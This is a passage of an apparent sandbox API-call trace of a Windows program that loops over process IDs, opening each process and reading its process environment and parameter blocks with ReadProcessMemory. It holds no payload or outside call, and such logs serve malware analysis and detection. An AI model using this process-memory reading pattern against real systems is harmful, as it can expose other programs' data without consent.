(hObject=0xa9c) returned 1 [0349.287] _ui64tow_s (in: _Value=0x1028, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4136") returned 0x0 [0349.287] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4136") returned 4 [0349.287] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.287] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.288] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1028) returned 0xa9c [0349.288] GetLastError () returned 0x0 [0349.288] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.288] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x283018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.288] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.288] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.288] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x572258, lpBuffer=0x5ec5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.289] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.289] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.289] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x283020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.289] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x571c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.289] malloc (_Size=0x6e) returned 0xea8d20 [0349.289] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5722be, lpBuffer=0xea8d20, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8d20*, lpNumberOfBytesRead=0x0) returned 1 [0349.289] free (_Block=0xea8d20) [0349.290] CloseHandle (hObject=0xa9c) returned 1 [0349.290] _ui64tow_s (in: _Value=0x548, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1352") returned 0x0 [0349.290] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1352") returned 4 [0349.290] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.290] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.291] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x548) returned 0xa9c [0349.291] GetLastError () returned 0x0 [0349.291] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.291] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x443018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.291] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.291] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a2610, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.291] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a2258, lpBuffer=0x5ec5a0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.292] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.292] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.292] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x443020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.292] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.292] malloc (_Size=0x5a) returned 0xeb6700 [0349.292] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7a22aa, lpBuffer=0xeb6700, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0349.293] free (_Block=0xeb6700) [0349.293] CloseHandle (hObject=0xa9c) returned 1 [0349.293] _ui64tow_s (in: _Value=0xe98, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3736") returned 0x0 [0349.293] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3736") returned 4 [0349.293] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.293] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.294] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe98) returned 0xa9c [0349.294] GetLastError () returned 0x0 [0349.294] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.294] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.294] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.294] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.295] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2258, lpBuffer=0x5ec5a0, nSize=0x54, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.295] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.295] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.295] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.295] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.295] malloc (_Size=0x5c) returned 0xeb6700 [0349.295] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a22ac, lpBuffer=0xeb6700, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0349.296] free (_Block=0xeb6700) [0349.296] CloseHandle (hObject=0xa9c) returned 1 [0349.296] _ui64tow_s (in: _Value=0xcdc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3292") returned 0x0 [0349.296] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3292") returned 4 [0349.296] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.296] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.297] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xcdc) returned 0xa9c [0349.297] GetLastError () returned 0x0 [0349.297] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.297] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x218018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.297] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.298] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x442650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.298] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x442258, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.298] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.298] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.298] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x218020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.298] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x441c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.298] malloc (_Size=0x70) returned 0xea97a0 [0349.299] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4422c0, lpBuffer=0xea97a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea97a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.299] free (_Block=0xea97a0) [0349.299] CloseHandle (hObject=0xa9c) returned 1 [0349.299] _ui64tow_s (in: _Value=0xe04, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3588") returned 0x0 [0349.299] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3588") returned 4 [0349.300] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.300] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.300] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe04) returned 0xa9c [0349.300] GetLastError () returned 0x0 [0349.300] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.300] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b7018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.301] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.301] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.301] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.301] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.301] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.301] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2b7020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.301] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.302] malloc (_Size=0x6a) returned 0xea9620 [0349.302] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822ba, lpBuffer=0xea9620, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9620*, lpNumberOfBytesRead=0x0) returned 1 [0349.303] free (_Block=0xea9620) [0349.303] CloseHandle (hObject=0xa9c) returned 1 [0349.303] _ui64tow_s (in: _Value=0x8b4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2228") returned 0x0 [0349.303] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2228") returned 4 [0349.303] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.303] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.304] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8b4) returned 0xa9c [0349.304] GetLastError () returned 0x0 [0349.304] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.304] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5db018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.304] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.304] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x272620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.305] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x272258, lpBuffer=0x5ec5a0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.305] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.305] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.305] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5db020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.305] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x271c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.305] malloc (_Size=0x5e) returned 0xeb65b0 [0349.305] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2722ae, lpBuffer=0xeb65b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0349.306] free (_Block=0xeb65b0) [0349.306] CloseHandle (hObject=0xa9c) returned 1 [0349.306] _ui64tow_s (in: _Value=0xbcc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3020") returned 0x0 [0349.306] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3020") returned 4 [0349.306] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.306] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.307] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbcc) returned 0xa9c [0349.307] GetLastError () returned 0x0 [0349.307] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.307] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x208018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.308] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.308] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.308] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492258, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.308] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.308] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.308] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x208020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.308] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x491c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.309] malloc (_Size=0x74) returned 0xea9320 [0349.309] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4922c4, lpBuffer=0xea9320, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9320*, lpNumberOfBytesRead=0x0) returned 1 [0349.309] free (_Block=0xea9320) [0349.309] CloseHandle (hObject=0xa9c) returned 1 [0349.309] _ui64tow_s (in: _Value=0x10f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4344") returned 0x0 [0349.309] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4344") returned 4 [0349.310] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.310] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.310] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10f8) returned 0xa9c [0349.310] GetLastError () returned 0x0 [0349.310] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.311] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.311] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.311] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x502650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.311] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x502258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.311] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.311] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.311] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.312] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x501c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.312] malloc (_Size=0x6c) returned 0xea97a0 [0349.312] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5022bc, lpBuffer=0xea97a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea97a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.312] free (_Block=0xea97a0) [0349.312] CloseHandle (hObject=0xa9c) returned 1 [0349.312] _ui64tow_s (in: _Value=0x1100, _Buffer=0x5ed780, 